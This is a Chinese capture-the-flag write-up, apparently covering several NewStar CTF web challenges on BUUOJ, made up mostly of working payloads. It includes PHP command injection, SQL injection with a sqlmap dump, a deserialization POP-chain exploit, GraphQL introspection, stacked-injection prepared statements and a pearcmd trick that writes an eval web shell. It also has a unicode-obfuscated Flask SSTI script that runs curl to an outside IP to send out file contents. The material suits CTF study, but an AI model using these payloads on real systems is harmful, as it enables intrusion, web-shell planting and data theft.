赞
踩
目录
按照提示传参就行
按要求传参即可
常规信息搜集来一套
访问/robots.txt
访问/www.zip
邮件查看源码有一段提示
访问/.index.php.swp
拼起来即可
瞪眼看就完了
payload:
- ?data=data://text/plain,Welcome to CTF&key1[]=1&key2[]=2&cmd=%0asystem('tac /f*');
-
- num=2077.a
题目提示flag在数据库中
有留言功能,有查询功能
万能密码
payload:
NewCTFer' or '1'='1
跑sqlmap梭就可
sqlmap -u http://001b81ea-46b4-492b-be09-56912a4c5fd4.node5.buuoj.cn:81/comments.php --data="name=NewCTFer" --random-agent -D wfy -T wfy_comments --dump-all --batch
种子伪随机,md_rand是1219893521
【php】mt_rand 伪随机数漏洞_mt_rand漏洞-CSDN博客
跑出来种子为1145146
- <?php
- $a = mt_srand(1145146);
- echo mt_rand();
- echo "<br>";
- echo mt_rand();
- echo "<br>";
跑出下一个随机数
base被ban可以用rot13来读,NewStar关键字塞进伪协议即可
payload:
- ?file=php://filter/NewStar/read=string.rot13/resource=flag.php
- guess=1202031004
右键查看源码
rot13解密拿到flag
瞪眼看链子
Start#__destruct -> Sec#__toString -> Easy#__call -> eeee#__clone ->Start#__isset -> Sec#__invoke
exp
- <?php
- class Start{
- public $name;
- public $func;
-
- }
-
- class Sec{
- public $obj;
- public $var;
-
- }
-
- class Easy
- {
- public $cla;
- }
-
- class eeee{
- public $obj;
-
- }
-
- $a=new Start();
- $b=new Sec();
- $c=new Easy();
- $d=new eeee();
- $e=new Start();
- $f=new Sec();
- $e->func=$f;
- $d->obj=$e;
- $b->var=$d;
- $b->obj=$c;
- $a->name=$b;
- echo serialize($a);

payload:
-
- pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}
提示只能输入数字,字母是一点都注不了
信息搜集,访问/www.zip拿到源码
- <?php
- error_reporting(0);
- $id = $_POST['id'];
- function waf($str)
- {
- if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
- return False;
- } else {
- return True;
- }
- }
-
- function send($data)
- {
- $options = array(
- 'http' => array(
- 'method' => 'POST',
- 'header' => 'Content-type: application/json',
- 'content' => $data,
- 'timeout' => 10 * 60
- )
- );
- $context = stream_context_create($options);
- $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
- return $result;
- }
-
- if (isset($id)) {
- if (waf($id)) {
- isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
- $res = json_decode(send($data));
- if ($res->data->users_user_by_pk->name !== NULL) {
- echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
- } else {
- echo "<b>Can't found it!</b><br><br>DEBUG: ";
- var_dump($res->data);
- }
- } else {
- die("<b>Hacker! Only Number!</b>");
- }
- } else {
- die("<b>No Data?</b>");
- }
- ?>

看到其通过garphql来查询数据
payload:
data={"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}&id=1
payload:
data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}&id=1
提示是flask的ssti
测出回显位
分享一个过waf巨好用的脚本
- import requests
-
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
- }
- cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
- ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
- gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
- su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
- ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
- go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
- po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
-
- for i in range(500):
- url = "http://0e45278a-2302-48fd-8761-130afa4fdc37.node5.buuoj.cn:81/?name="+'{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +'%}success' +'{%endif%}'
-
- res = requests.get(url=url, headers=headers)
- if 'success' in res.text:
- print(i)

跑出来是117
- import requests
-
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36'
- }
- cl = '\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f' # __class__
- ba = '\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f' # __bases__
- gi = '\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f' # __getitem__
- su = '\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f' # __subclasses__
- ii = '\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f' # __init__
- go = '\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f' # __golobals__
- po = '\\u0070\\u006f\\u0070\\u0065\\u006e' # __popen__
- cmd = '\\u0063\\u0075\\u0072\\u006c\\u0020\\u0031\\u0032\\u0034\\u002e\\u0032\\u0032\\u0032\\u002e\\u0031\\u0033\\u0036\\u002e\\u0033\\u0033\\u003a\\u0031\\u0033\\u0033\\u0037\\u003f\\u0066\\u006c\\u0061\\u0067\\u003d\\u0060\\u0063\\u0061\\u0074\\u0020\\u002f\\u0066\\u002a\\u0060'
- # curl 124.222.136.33:1337?flag=`cat /f*`
- i = 117
- url = "http://0e45278a-2302-48fd-8761-130afa4fdc37.node5.buuoj.cn:81/?name="+'{%if(""|' +f'attr("{cl}")' +f'|attr("{ba}")' +f'|attr("{gi}")(0)' +f'|attr("{su}")()' +f'|attr("{gi}")(' +str(i) +f')|attr("{ii}")' +f'|attr("{go}")' +f'|attr("{gi}")' +f'("{po}"))' +f'("{cmd}")' +'%}success' +'{%endif%}'
-
- res = requests.get(url=url, headers=headers)
- print(res.text)

外带数据拿到flag
提示堆叠注入
点击验证成绩
感觉就是强网杯2019随便注那题改的
对关键词有过滤,无法大小写绕过,测出select,update,insert和union都被ban了
1';show tables;#
1';show columns from score;#
之后的部分直接打预编译
- <?php
- echo "0x".bin2hex("update score set listen = 200 where username = '火华';");
-
- //0x7570646174652073636f726520736574206c697374656e203d2032303020776865726520757365726e616d65203d2027e781abe58d8e273b
1';set @a = 0x7570646174652073636f726520736574206c697374656e203d2032303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#
点击验证成绩,拿到flag
直接打pearcmd
关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3's blog
bp发包,先写马
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
再包含
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。